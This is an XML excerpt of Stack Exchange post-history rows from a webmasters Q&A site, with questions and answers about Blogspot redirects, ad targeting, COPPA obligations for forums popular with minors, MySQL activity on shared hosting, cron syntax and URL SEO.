  <row Id="14556" PostHistoryTypeId="2" PostId="7227" RevisionGUID="5e74b94a-2295-4d1b-8001-aaac391e3efc" CreationDate="2010-12-31T06:46:27.450" UserId="4194" Text="Is it possible to redirect a blogspot site to an existing URL?&#xD;&#xA;&#xD;&#xA;Note that I don't want to buy a new domain and tell blogspot to use that, eg as per this question: http://webmasters.stackexchange.com/questions/3466/how-to-have-a-blogspot-blog-in-my-domain.  &#xD;&#xA;&#xD;&#xA;Instead I am trying to 301 redirect to an existing website in order to combine the website and the blog in one place.  So it needs to be:&#xD;&#xA;    &#xD;&#xA;    301 example.blogspot.com/post to example.com/blog/post&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="14557" PostHistoryTypeId="1" PostId="7227" RevisionGUID="5e74b94a-2295-4d1b-8001-aaac391e3efc" CreationDate="2010-12-31T06:46:27.450" UserId="4194" Text="301 redirect blogspot to an existing domain?" />
  <row Id="14558" PostHistoryTypeId="3" PostId="7227" RevisionGUID="5e74b94a-2295-4d1b-8001-aaac391e3efc" CreationDate="2010-12-31T06:46:27.450" UserId="4194" Text="&lt;seo&gt;&lt;redirects&gt;&lt;blog&gt;&lt;domain-names&gt;" />
  <row Id="14559" PostHistoryTypeId="2" PostId="7228" RevisionGUID="f7263f31-57be-4849-9bb8-e9332b4863ed" CreationDate="2010-12-31T07:04:07.217" UserId="4195" Text="I'm not sure how to ask the right question but I noticed on this website, each post has very specific targeted ads that fit the overall theme of the blog post.&#xD;&#xA;&#xD;&#xA;http://www.ma-petite-chou.com &#xD;&#xA;&#xD;&#xA;I'm only familiar with google adsense, in which a text box just displays dynamic ads.&#xD;&#xA;&#xD;&#xA;I just don't understand how this blog is displaying permanent very specific ads. Any pointers will be helpful." />
  <row Id="14560" PostHistoryTypeId="1" PostId="7228" RevisionGUID="f7263f31-57be-4849-9bb8-e9332b4863ed" CreationDate="2010-12-31T07:04:07.217" UserId="4195" Text="How to create / find static targeted ads " />
  <row Id="14561" PostHistoryTypeId="3" PostId="7228" RevisionGUID="f7263f31-57be-4849-9bb8-e9332b4863ed" CreationDate="2010-12-31T07:04:07.217" UserId="4195" Text="&lt;advertising&gt;&lt;static-content&gt;" />
  <row Id="14562" PostHistoryTypeId="2" PostId="7229" RevisionGUID="6430df84-fb2e-4090-bc6e-3cbff9e81636" CreationDate="2010-12-31T08:14:03.117" UserId="1064" Text="If you are thinking of building your own contextual advertising system (it's not a particularly hard programming task) you might inquire at [StackOverflow][1].&#xD;&#xA;&#xD;&#xA;If you are looking for existing apps which accomplish this task, there are a few suggestions at the [How do I implement advertising on my page?][2] question.*&#xD;&#xA;&#xD;&#xA;You should specify which platform you are using (IIS+ASP.net/LAMP/et cetera) to narrow down the suggestions.&#xD;&#xA;&#xD;&#xA;*** Google's AdSense *tries* to come up with targeted ads of its own, but it sounds like you want to control the ad content too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/215/how-do-i-implement-advertising-on-my-page" />
  <row Id="14563" PostHistoryTypeId="2" PostId="7230" RevisionGUID="8ac5d6d0-18b8-4dcc-b738-68611a07b9d3" CreationDate="2010-12-31T08:24:07.197" UserId="1064" Text="From the documentation referenced at the question you linked to:&#xD;&#xA;&#xD;&#xA;&gt; You can use this feature with domains&#xD;&#xA;&gt; (e.g. example.com) or subdomains (e.g.&#xD;&#xA;&gt; blog.example.com). However, you cannot&#xD;&#xA;&gt; specify subdirectories (e.g.&#xD;&#xA;&gt; example.com/blog/) or wildcards (e.g.&#xD;&#xA;&gt; *.example.com).&#xD;&#xA;&#xD;&#xA;[How do I use a custom domain name on my blog?][1]&#xD;&#xA;&#xD;&#xA;Whether Blogger/Blogspot implements a redirect is really up to Google, as Google is effectively your hosting provider when you use that blogging platform.&#xD;&#xA;&#xD;&#xA;I'd assume changing your Blogger blog settings to point to the *subdomain* at your domain (*not* a subdirectory) would create a 301 redirect, as Google tends to be pretty good about implementing best practices... but keep in mind, you can't use a subdirectory unless you want to proxy requests to the subdirectory on your main domain through to the server where your blog resides.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/blogger/bin/answer.py?hl=en&amp;answer=55373" />
  <row Id="14564" PostHistoryTypeId="5" PostId="7228" RevisionGUID="95970bd1-08a6-4d28-bebf-6a811e8528a6" CreationDate="2010-12-31T08:27:21.120" UserId="1757" Comment="remove link to spam blog" Text="I'm not sure how to ask the right question but I noticed on this website, each post has very specific targeted ads that fit the overall theme of the blog post.&#xD;&#xA;&#xD;&#xA;www.ma-petite-chou.com&#xD;&#xA;&#xD;&#xA;I'm only familiar with google adsense, in which a text box just displays dynamic ads.&#xD;&#xA;&#xD;&#xA;I just don't understand how this blog is displaying permanent very specific ads. Any pointers will be helpful." />
  <row Id="14565" PostHistoryTypeId="2" PostId="7231" RevisionGUID="f10804e6-f7a2-4aca-8353-c6fec5fd52a1" CreationDate="2010-12-31T08:36:01.250" UserId="1757" Text="First off, that's a spam blog. It's just post after post after post of affiliate links. So in addition to the loads of ads on the sides, the main content of the blog is advertising.&#xD;&#xA;&#xD;&#xA;Secondly, I don't know what you mean by &quot;very specific targeted ads&quot;. That site clearly has a single demographic (young asian women), and all the ads are naturally targeted to that demographic. Pretty much any ad network allows you to do that. They're using DoubleClick, but this is standard stuff.&#xD;&#xA;&#xD;&#xA;And regardless of whether the ads are static or not, they're not all that targeted beyond what AdSense or any other ad network might give you. Every single page basically just has ads for beauty products and designer clothing. It doesn't take a genius to find a set of 20-30 affiliate/PPC ads for beauty products and designer clothing and include them on every page. It's not like each blog post has distinct content with ads specific to that post only." />
  <row Id="14566" PostHistoryTypeId="2" PostId="7232" RevisionGUID="b931cf58-51a3-4c11-8e9e-42f5187b90db" CreationDate="2010-12-31T08:44:43.767" UserId="1757" Text="You could use Gmail for your domain (Google Apps for Business or the regular version). It's fairly simple to set up email forwarding, or domain aliasing if you want.&#xD;&#xA;&#xD;&#xA;Alternatively, you could just get a decent web host for less than $10/month (e.g. DreamHost) that doesn't put limits on things like the number of email forwards you're allowed to have.&#xD;&#xA;&#xD;&#xA;Personally, I'd just switch to a better web host. Since most web hosts that limit things like email accounts or subdomains generally aren't very good anyways and will end up costing you more in time/work/money in the long run." />
  <row Id="14567" PostHistoryTypeId="2" PostId="7233" RevisionGUID="61921de5-8a28-4f87-979a-03f787fbf31a" CreationDate="2010-12-31T13:34:20.277" UserId="233" Text="I'm working on a site with a forum, for which the current user base is fairly young. For the forum, where do I stand legally with children/teenagers signing up?&#xD;&#xA;&#xD;&#xA;For example, I believe Facebook restricts membership to 13+. Should I have this restriction too? (We don't really have the means for any kind of age policing.) Are there any standard terms/conditions I can add to the site?" />
  <row Id="14568" PostHistoryTypeId="1" PostId="7233" RevisionGUID="61921de5-8a28-4f87-979a-03f787fbf31a" CreationDate="2010-12-31T13:34:20.277" UserId="233" Text="What terms/conditions should I have in place for a site popular with children/teenagers?" />
  <row Id="14569" PostHistoryTypeId="3" PostId="7233" RevisionGUID="61921de5-8a28-4f87-979a-03f787fbf31a" CreationDate="2010-12-31T13:34:20.277" UserId="233" Text="&lt;legal&gt;&lt;forum&gt;" />
  <row Id="14570" PostHistoryTypeId="2" PostId="7234" RevisionGUID="899efbaa-616b-4704-970b-d556b4acf146" CreationDate="2010-12-31T13:46:30.473" UserDisplayName="ahmed" Text="Is it possible to search specific email Ids of company managers on Google or yahoo ? " />
  <row Id="14571" PostHistoryTypeId="1" PostId="7234" RevisionGUID="899efbaa-616b-4704-970b-d556b4acf146" CreationDate="2010-12-31T13:46:30.473" UserDisplayName="ahmed" Text="How to specifically search email Ids of Human Resource managers over internet?" />
  <row Id="14572" PostHistoryTypeId="3" PostId="7234" RevisionGUID="899efbaa-616b-4704-970b-d556b4acf146" CreationDate="2010-12-31T13:46:30.473" UserDisplayName="ahmed" Text="&lt;google&gt;&lt;yahoo&gt;&lt;google-search&gt;" />
  <row Id="14573" PostHistoryTypeId="2" PostId="7235" RevisionGUID="dd9d9b38-7871-448f-a4fa-bf5731c8eff3" CreationDate="2010-12-31T15:05:03.007" UserId="3307" Text="Only if those managers have their email address on a website that Google and Yahoo aren't blocked from." />
  <row Id="14574" PostHistoryTypeId="2" PostId="7236" RevisionGUID="2972512d-753d-4651-9ab9-fc200d996a2a" CreationDate="2010-12-31T16:03:24.803" UserId="1064" Text="&gt; I believe Facebook restricts&#xD;&#xA;&gt; membership to 13+. Should I have this&#xD;&#xA;&gt; restriction too?&#xD;&#xA;&#xD;&#xA;Most likely, yes - particularly so if your target audience includes minors in the United States or Australia. (and, really, anything that's 14 year olds like will probably be popular with some 13 year olds, too)&#xD;&#xA;&#xD;&#xA;I'd highly recommend a review of [COPPA.org][1] and a cautionary note from the [Wikipedia entry][2] for COPPA:&#xD;&#xA;&#xD;&#xA;&gt; This is an American law, however, the&#xD;&#xA;&gt; Federal Trade Commission has made it&#xD;&#xA;&gt; clear that the requirements of COPPA&#xD;&#xA;&gt; will apply to foreign-operated web&#xD;&#xA;&gt; sites if such sites &quot;are directed to&#xD;&#xA;&gt; children in the U.S. or knowingly&#xD;&#xA;&gt; collect information from children in&#xD;&#xA;&gt; the U.S.&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; . . .&#xD;&#xA;&gt; &#xD;&#xA;&gt; The website Xanga was fined USD $1&#xD;&#xA;&gt; million for COPPA violations, for&#xD;&#xA;&gt; repeatedly allowing children under 13&#xD;&#xA;&gt; to sign up for the service without&#xD;&#xA;&gt; getting their parent's consent.&#xD;&#xA;&gt; Similarly, UMG Recordings, Inc. was&#xD;&#xA;&gt; fined USD $400,000 for COPPA&#xD;&#xA;&gt; violations...&#xD;&#xA;&#xD;&#xA;To avoid any potential liability, it would be best to talk with a lawyer if you plan to collect and store minors' personal information and *particularly* if you plan to market to minors.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.coppa.org/comply.htm&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Children%27s_Online_Privacy_Protection_Act#Violations" />
  <row Id="14575" PostHistoryTypeId="2" PostId="7237" RevisionGUID="5fb0a456-8210-4feb-959d-266c6d0f0658" CreationDate="2010-12-31T16:07:52.203" UserId="1757" Text="Is it for children or teenagers? Because I can't imagine most teenagers wanting to be on the same online forum as 10- or 11-year-olds. Likewise, it's probably not a good idea to have kids under the age of 13 on an internet forum frequented by 16~17-year-olds.&#xD;&#xA;&#xD;&#xA;I'm not sure if any specific terms/conditions need to be applied, but if you're creating a website that is going to be frequented by children (under 13), then you need to familiarize yourself with [COPPA][1] ([summary][2]), which dictates how U.S. sites need to write and display their privacy policy. COPPA also states that you're not allowed to *unnecessarily* require a child to submit personal info in order to participate in an online game/activity&amp;mdash;so that's one condition you *can't* have.&#xD;&#xA;&#xD;&#xA;Aside from that, if you're going to be targeting both children *and* teenagers, and there will be content possibly considered inappropriate for children, then you might want to take a look at [FOSI][3]'s ICRA content ratings&amp;mdash;though their site is pretty broken/useless now that they've [discontinued and withdrawn support of ICRA][4] and taken down the ICRA label generator. Despite the standard being abandoned by its creators, you can still implement it manually (through the W3C's [POWDER][5] specification) if you can find documentation on the labels/vocabulary elsewhere on the web.&#xD;&#xA;&#xD;&#xA;What FOSI *does* have on its site that might be helpful are these studies:&#xD;&#xA;&#xD;&#xA; - http://www.fosi.org/downloads/resources/Cyberbullying.pdf&#xD;&#xA; - http://www.fosi.org/downloads/resources/Sexting.pdf&#xD;&#xA; - http://www.fosi.org/downloads/resources/Self-Harm-in-the-Digital-Age.pdf&#xD;&#xA;&#xD;&#xA;These could help you define your TOS and implement ways to enforce them (e.g. a &quot;flag this message&quot; button like many sites have).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ftc.gov/ogc/coppa1.htm&#xD;&#xA;  [2]: http://www.privacyrights.org/fs/fs21-children.htm#3b&#xD;&#xA;  [3]: http://www.fosi.org/&#xD;&#xA;  [4]: http://icra.org/&#xD;&#xA;  [5]: http://www.w3.org/TR/2009/NOTE-powder-primer-20090901/#ICRA1" />
  <row Id="14576" PostHistoryTypeId="10" PostId="7234" RevisionGUID="2680a412-2f88-400b-95ea-114757b210a0" CreationDate="2010-12-31T16:08:00.253" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:1757,&quot;DisplayName&quot;:&quot;Lèse majesté&quot;},{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="14577" PostHistoryTypeId="2" PostId="7238" RevisionGUID="4d616f7c-df40-4ab7-bf59-aa41efdd0d24" CreationDate="2010-12-31T16:51:40.747" UserId="2616" Text="Unless it is automated, you will almost certainly need to go through the installation process again.&#xD;&#xA;&#xD;&#xA;It does seem &quot;convoluted&quot; at first, but it is easier the more you do. However, since you may only do this once a year, I would suggest documenting the steps and putting it in a readme file somewhere on the site. So you can remember the process next year." />
  <row Id="14578" PostHistoryTypeId="2" PostId="7240" RevisionGUID="21365a05-9ca5-4f27-ae4a-87362c19f584" CreationDate="2010-12-30T22:28:00.693" UserDisplayName="Hammerite" Text="I have shared hosting with the same provider and I see the same thing (currently showing 178 queries per second). I would imagine that jnpcl is correct and the activity shown is for all accounts on the same MySQL server as you.&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;&#xD;&#xA;&lt;i&gt;Anyone have any idea how to get stats for just your databases?&lt;/i&gt;&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://bugs.mysql.com/bug.php?id=16524&quot;&gt;This ticket&lt;/a&gt; suggests it is not possible." />
  <row Id="14579" PostHistoryTypeId="2" PostId="7239" RevisionGUID="12b29116-e1dd-490b-bf09-aa1a57e98549" CreationDate="2010-12-30T21:03:45.800" UserDisplayName="LoveMeSomeCode" Text="This is probably just my total lack of MySQL expertise, but is it typical to see lots of phantom activity on a MySQL instance via phpMyAdmin?&#xD;&#xA;&#xD;&#xA;I have a shared hosting plan through Lithium, and when I log in through the phpMyAdmin console and click on the 'Status' tab, it's showing crazy high numbers for queries. Within an hour of activating my account I had &gt; 1 million queries. At first I thought this was them setting things up, but the number is climbing constantly, averaging &gt; 170/second.&#xD;&#xA;&#xD;&#xA;I've got a support ticket in with Lithium, but I thought I'd ask here if this were a MySQL/shared host thing, because I had the same thing happen with a shared hosting plan through Joyent." />
  <row Id="14580" PostHistoryTypeId="1" PostId="7239" RevisionGUID="12b29116-e1dd-490b-bf09-aa1a57e98549" CreationDate="2010-12-30T21:03:45.800" UserDisplayName="LoveMeSomeCode" Text="Phantom activity on MySQL" />
  <row Id="14581" PostHistoryTypeId="3" PostId="7239" RevisionGUID="12b29116-e1dd-490b-bf09-aa1a57e98549" CreationDate="2010-12-30T21:03:45.800" UserDisplayName="LoveMeSomeCode" Text="&lt;mysql&gt;&lt;database&gt;&lt;shared-hosting&gt;" />
  <row Id="14582" PostHistoryTypeId="17" PostId="7239" RevisionGUID="fa9c41c6-ca75-4e5c-866e-9dfb982ab651" CreationDate="2010-12-31T17:09:18.303" UserId="-1" Comment="from http://stackoverflow.com/questions/4566261/phantom-activity-on-mysql" Text="" />
  <row Id="14583" PostHistoryTypeId="2" PostId="7241" RevisionGUID="0dc5b69e-f276-459b-8567-c63e07a09a61" CreationDate="2010-12-31T17:18:18.003" UserDisplayName="LeoMaheo" Text="If I prefix a dash to GUIDs in my URLs on my Web site, in this manner:&#xD;&#xA;&#xD;&#xA;    example.com/some/folders/-35x2ne5r579n32/page-name&#xD;&#xA;&#xD;&#xA;Will my SEO rating be affected?&#xD;&#xA;&#xD;&#xA;**_Background:_** On my site, people can look up pages by GUID, and by path.&#xD;&#xA;For example,  &#xD;&#xA;both &lt;code&gt;example.com/forum/-3v32nirn32/eat-animals-without-friends&lt;/code&gt;  &#xD;&#xA;and  &lt;code&gt;example.com/forum/eat-animals-without-friends&lt;/code&gt;&#xD;&#xA;could map to the same page. To indicate that &lt;code&gt;3v32nirn32&lt;/code&gt; is a GUID and not a page name, I thought I could prefix a &lt;code&gt;-&lt;/code&gt; and then my webapp would understand.&#xD;&#xA;&#xD;&#xA;But I wouldn't want my search engine rating to drop. And prefixing a dash in this manner seems weird, so perhaps Googlebot lowers my rating. Hence my question: Do you know if my search engine rating might drop? (Today or in the future?)&#xD;&#xA;&#xD;&#xA;(I could also e.g. prefix &lt;code&gt;id-&lt;/code&gt;, so the URL becomes &lt;code&gt;example.com/forum/id-3v32nirn32&lt;/code&gt;, but then people cannot create pages that start with the word &quot;id&quot;.)&#xD;&#xA;&#xD;&#xA;(I think I don't want URLs like this one: &lt;code&gt;example.com/id/some-guid&lt;/code&gt;.)&#xD;&#xA;&#xD;&#xA;Kind regards, Magnus&#xD;&#xA;" />
  <row Id="14584" PostHistoryTypeId="1" PostId="7241" RevisionGUID="0dc5b69e-f276-459b-8567-c63e07a09a61" CreationDate="2010-12-31T17:18:18.003" UserDisplayName="LeoMaheo" Text="Can prefixing a dash reduce the search engine rating?" />
  <row Id="14585" PostHistoryTypeId="3" PostId="7241" RevisionGUID="0dc5b69e-f276-459b-8567-c63e07a09a61" CreationDate="2010-12-31T17:18:18.003" UserDisplayName="LeoMaheo" Text="&lt;url&gt;&lt;seo&gt;&lt;dash&gt;" />
  <row Id="14586" PostHistoryTypeId="17" PostId="7241" RevisionGUID="ed7cb9c9-fa71-4f26-be1c-562194c870f6" CreationDate="2010-12-31T17:31:43.417" UserId="-1" Comment="from http://stackoverflow.com/questions/4571373/can-prefixing-a-dash-reduce-the-search-engine-rating" Text="" />
  <row Id="14587" PostHistoryTypeId="2" PostId="7242" RevisionGUID="dcf72149-50ed-4d27-8eda-96c0b7ee3752" CreationDate="2010-12-31T17:56:33.727" UserId="1022" Text="Not a legitimate or verifiable answer, since I'm just going by sites I've worked on, but for public user-driven sites, it's generally around 75% lurkers and 25% active participants. That's for submissions and comments only. Voting would probably be the opposite, assuming it's just a simple one-click thing and user registration isn't a big hassle.&#xD;&#xA;&#xD;&#xA;I don't think any of the above sites have published those stats. StackExchange is pretty open with their [data][1] and you might be able to glean something from that, but SE is obviously a little different than a digg clone.&#xD;&#xA;&#xD;&#xA;  [1]: http://data.stackexchange.com/" />
  <row Id="14588" PostHistoryTypeId="2" PostId="7243" RevisionGUID="7014a95c-1304-4fa3-b500-09b0300119d0" CreationDate="2010-12-31T18:20:46.413" UserId="1253" Text="That won't affect your rankings. Dashes, and other non alphanumeric characters, are perfect acceptable in URLs and in-and-of themselves do not directly affect rankings. " />
  <row Id="14589" PostHistoryTypeId="5" PostId="7236" RevisionGUID="1ae26b75-387d-4d52-922a-8f170705807b" CreationDate="2010-12-31T18:35:53.550" UserId="1064" Comment="Mechanics of language correction" Text="&gt; I believe Facebook restricts&#xD;&#xA;&gt; membership to 13+. Should I have this&#xD;&#xA;&gt; restriction too?&#xD;&#xA;&#xD;&#xA;Most likely, yes - particularly so if your target audience includes minors in the United States or Australia. (and, really, anything that 14 year olds like will probably be popular with some 13 year olds, too)&#xD;&#xA;&#xD;&#xA;I'd highly recommend a review of [COPPA.org][1] and a cautionary note from the [Wikipedia entry][2] for COPPA:&#xD;&#xA;&#xD;&#xA;&gt; This is an American law, however, the&#xD;&#xA;&gt; Federal Trade Commission has made it&#xD;&#xA;&gt; clear that the requirements of COPPA&#xD;&#xA;&gt; will apply to foreign-operated web&#xD;&#xA;&gt; sites if such sites &quot;are directed to&#xD;&#xA;&gt; children in the U.S. or knowingly&#xD;&#xA;&gt; collect information from children in&#xD;&#xA;&gt; the U.S.&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; . . .&#xD;&#xA;&gt; &#xD;&#xA;&gt; The website Xanga was fined USD $1&#xD;&#xA;&gt; million for COPPA violations, for&#xD;&#xA;&gt; repeatedly allowing children under 13&#xD;&#xA;&gt; to sign up for the service without&#xD;&#xA;&gt; getting their parent's consent.&#xD;&#xA;&gt; Similarly, UMG Recordings, Inc. was&#xD;&#xA;&gt; fined USD $400,000 for COPPA&#xD;&#xA;&gt; violations...&#xD;&#xA;&#xD;&#xA;To avoid any potential liability, it would be best to talk with a lawyer if you plan to collect and store minors' personal information and *particularly* if you plan to market to minors.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.coppa.org/comply.htm&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Children%27s_Online_Privacy_Protection_Act#Violations" />
  <row Id="14590" PostHistoryTypeId="2" PostId="7244" RevisionGUID="bc8246df-e4e8-4334-bbdb-02efae0f4f4f" CreationDate="2010-12-31T16:19:20.363" UserDisplayName="Randy" Text="I need to setup a cronjob on my webhost.&#xD;&#xA;&#xD;&#xA;The documentation for my webapp reads as follows:&#xD;&#xA;&gt; you will need to create following&#xD;&#xA;&gt; cronjob: /public_html/cake/console/cake&#xD;&#xA;&gt; -app /public_html/app master&#xD;&#xA;&#xD;&#xA;Also, I want any output written to a log file.  My hosts documentation says this:&#xD;&#xA;&#xD;&#xA;&gt; You can have cron send an email&#xD;&#xA;&gt; everytime it runs a command. If you do&#xD;&#xA;&gt; not want an email to be sent for an&#xD;&#xA;&gt; individual cron job you can redirect&#xD;&#xA;&gt; the command's output to /dev/null like&#xD;&#xA;&gt; this: mycommand &gt;/dev/null 2&gt;&amp;1&#xD;&#xA;&#xD;&#xA;Can someone help me write the cron job?  I dont know the syntax at all.  Thanks for the help!" />
  <row Id="14591" PostHistoryTypeId="1" PostId="7244" RevisionGUID="bc8246df-e4e8-4334-bbdb-02efae0f4f4f" CreationDate="2010-12-31T16:19:20.363" UserDisplayName="Randy" Text="Help with cron syntax" />
  <row Id="14592" PostHistoryTypeId="3" PostId="7244" RevisionGUID="bc8246df-e4e8-4334-bbdb-02efae0f4f4f" CreationDate="2010-12-31T16:19:20.363" UserDisplayName="Randy" Text="&lt;cron&gt;" />
  <row Id="14593" PostHistoryTypeId="17" PostId="7244" RevisionGUID="5dc1edbe-f7af-40e8-bbd9-a990bda818e1" CreationDate="2010-12-31T19:23:32.220" UserId="-1" Comment="from http://stackoverflow.com/questions/4571100/help-with-cron-syntax" Text="" />
  <row Id="14594" PostHistoryTypeId="2" PostId="7245" RevisionGUID="015936ef-9f79-4270-b9c6-8ddc6192d6d8" CreationDate="2010-12-31T20:23:37.633" UserId="4204" Text="I recently had my Google Adsense account disabled for (apparently) invalid click activity, even though I had done nothing wrong. Although I have appealed for the reinstatement of my account, I am still blocked. Is there any other Ad Publishing service I could use?" />
  <row Id="14595" PostHistoryTypeId="1" PostId="7245" RevisionGUID="015936ef-9f79-4270-b9c6-8ddc6192d6d8" CreationDate="2010-12-31T20:23:37.633" UserId="4204" Text="Ad Publishing services." />
  <row Id="14596" PostHistoryTypeId="3" PostId="7245" RevisionGUID="015936ef-9f79-4270-b9c6-8ddc6192d6d8" CreationDate="2010-12-31T20:23:37.633" UserId="4204" Text="&lt;ads&gt;" />
  <row Id="14597" PostHistoryTypeId="2" PostId="7246" RevisionGUID="bb22ecda-6cec-4531-a49d-77ca8674f056" CreationDate="2010-12-31T20:44:48.930" UserId="3646" Text="One issue you might run into is possibly people thinking it's a typo if they've never heard of `.co` " />
  <row Id="14598" PostHistoryTypeId="2" PostId="7247" RevisionGUID="610dd36c-7462-49c0-a96e-ccf1cdc4d54a" CreationDate="2010-12-31T21:04:35.993" UserDisplayName="shech" Text="PageRank&#xD;&#xA;&#xD;&#xA;Google Pagerank is one way to judge website visibility and authenticity. Google Pagerank is still considered as important factor while evaluating any website. This is particularly helpful when you are planning to buy sell any website or text links.o" />
  <row Id="14599" PostHistoryTypeId="2" PostId="7248" RevisionGUID="a664732e-f798-4987-8c5a-4a8c3adb24e2" CreationDate="2011-01-01T01:44:58.197" UserDisplayName="sekar" Text="Hi i have a webshop at http://tanpagalon.co.cc. what can i do to make the website be found at google with specific keywords? such as: pureit or water purifier. thanks a lot." />
  <row Id="14600" PostHistoryTypeId="1" PostId="7248" RevisionGUID="a664732e-f798-4987-8c5a-4a8c3adb24e2" CreationDate="2011-01-01T01:44:58.197" UserDisplayName="sekar" Text="Specify a Site with One/More Keyword" />
  <row Id="14601" PostHistoryTypeId="3" PostId="7248" RevisionGUID="a664732e-f798-4987-8c5a-4a8c3adb24e2" CreationDate="2011-01-01T01:44:58.197" UserDisplayName="sekar" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="14602" PostHistoryTypeId="2" PostId="7250" RevisionGUID="7174c345-f537-444e-82bc-b7ea9dcf7753" CreationDate="2010-12-30T14:01:06.020" UserDisplayName="duy" Text="This site have many good free CSS Template to start with. Hope you like it.&#xD;&#xA;&#xD;&#xA;[freecsstemplates.org][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freecsstemplates.org/" />
  <row Id="14603" PostHistoryTypeId="2" PostId="7249" RevisionGUID="6417c469-0947-452e-b708-6edcda67ac88" CreationDate="2010-12-30T13:55:49.780" UserDisplayName="LostLord" Text="Would You plz Introduce Us Best Sites(Many) For Getting Templates (Based On HTML AND CSS Only ) ...&#xD;&#xA;&#xD;&#xA;I Am A programmer (asp.net with c#) and i have some problems with web site designing!&#xD;&#xA;&#xD;&#xA;I Know We Can Google it , But I want To Have A Reference In StackOverFlow&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks In Future Advance&#xD;&#xA;&#xD;&#xA;Best Regards" />
  <row Id="14604" PostHistoryTypeId="1" PostId="7249" RevisionGUID="6417c469-0947-452e-b708-6edcda67ac88" CreationDate="2010-12-30T13:55:49.780" UserDisplayName="LostLord" Text="Introduce Best Sites For Getting Templates (Based On HTML AND CSS Only ) ..." />
  <row Id="14605" PostHistoryTypeId="3" PostId="7249" RevisionGUID="6417c469-0947-452e-b708-6edcda67ac88" CreationDate="2010-12-30T13:55:49.780" UserDisplayName="LostLord" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="14606" PostHistoryTypeId="17" PostId="7249" RevisionGUID="86130c1c-83ec-4537-96be-cc0724fc6fb9" CreationDate="2011-01-01T02:44:53.600" UserId="-1" Comment="from http://stackoverflow.com/questions/4563133/introduce-best-sites-for-getting-templates-based-on-html-and-css-only" Text="" />
  <row Id="14607" PostHistoryTypeId="2" PostId="7251" RevisionGUID="6dd016a0-a67a-44bd-9162-4ad32c58ff93" CreationDate="2011-01-01T04:33:39.713" UserId="4210" Text="See http://stackoverflow.com/questions/186290/best-static-website-generator for a relatively comprehensive list." />
  <row Id="14609" PostHistoryTypeId="2" PostId="7253" RevisionGUID="82d4d0a6-3637-404e-86f2-98f55e31d016" CreationDate="2011-01-01T05:15:34.670" UserDisplayName="babua" Text="while using custom structure in my wordpress url , when i am trying to include tags, it shows me , it is showing errors , but when i add category , it reflects in url.&#xD;&#xA;&#xD;&#xA;i want that the tag gets included in custom url structure automatically , how can it be done using wordpress ... please help ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;when i am adding /%tag%/ to custom structure field in wordpress admin , the url shows not found message." />
  <row Id="14610" PostHistoryTypeId="1" PostId="7253" RevisionGUID="82d4d0a6-3637-404e-86f2-98f55e31d016" CreationDate="2011-01-01T05:15:34.670" UserDisplayName="babua" Text="how to include tags in permalinks of wordpress" />
  <row Id="14611" PostHistoryTypeId="3" PostId="7253" RevisionGUID="82d4d0a6-3637-404e-86f2-98f55e31d016" CreationDate="2011-01-01T05:15:34.670" UserDisplayName="babua" Text="&lt;wordpress&gt;" />
  <row Id="14612" PostHistoryTypeId="5" PostId="7230" RevisionGUID="b28746b6-81bb-4960-bf12-12ec63f90b9e" CreationDate="2011-01-01T11:07:04.397" UserId="1064" Comment="Updated per comments" Text="From the documentation referenced at the question you linked to:&#xD;&#xA;&#xD;&#xA;&gt; You can use this feature with domains&#xD;&#xA;&gt; (e.g. example.com) or subdomains (e.g.&#xD;&#xA;&gt; blog.example.com). However, you cannot&#xD;&#xA;&gt; specify subdirectories (e.g.&#xD;&#xA;&gt; example.com/blog/) or wildcards (e.g.&#xD;&#xA;&gt; *.example.com).&#xD;&#xA;&#xD;&#xA;[How do I use a custom domain name on my blog?][1]&#xD;&#xA;&#xD;&#xA;Whether Blogger/Blogspot implements a redirect is really up to Google, as Google is effectively your hosting provider when you use that blogging platform.&#xD;&#xA;&#xD;&#xA;I'd assume changing your Blogger blog settings to point to the *subdomain* at your domain (*not* a subdirectory) would create a 301 redirect, as Google tends to be pretty good about implementing best practices... but keep in mind, you can't use a subdirectory unless you want to proxy requests to the subdirectory on your main domain through to the server where your blog resides.&#xD;&#xA;&#xD;&#xA;**Updated:**&#xD;&#xA;&#xD;&#xA;&gt; I need a way to tell blogspot to 301&#xD;&#xA;&gt; from each post made on blogspot to the&#xD;&#xA;&gt; identical post made on the existing&#xD;&#xA;&gt; domain.&#xD;&#xA;&#xD;&#xA;If that is the case, try this:&#xD;&#xA;&#xD;&#xA;1. Set up a DNS record for blogspot.example.com to point to Blogspot (per the instructions from that article)&#xD;&#xA;2. Complete the blogspot blog transfer (per that article)&#xD;&#xA;3. Once the transfer is complete (i.e. example.blogspot.com redirects to blogspot.example.com) change the DNS record for blogspot.example.com to point to your server at example.com&#xD;&#xA;4. Assuming Blogspot continues pushing traffic to your blogspot.example.com subdomain (which it may or may not) you can set up a redirect from blogspot.example.com/* to example.com/blog/*&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/blogger/bin/answer.py?hl=en&amp;answer=55373" />
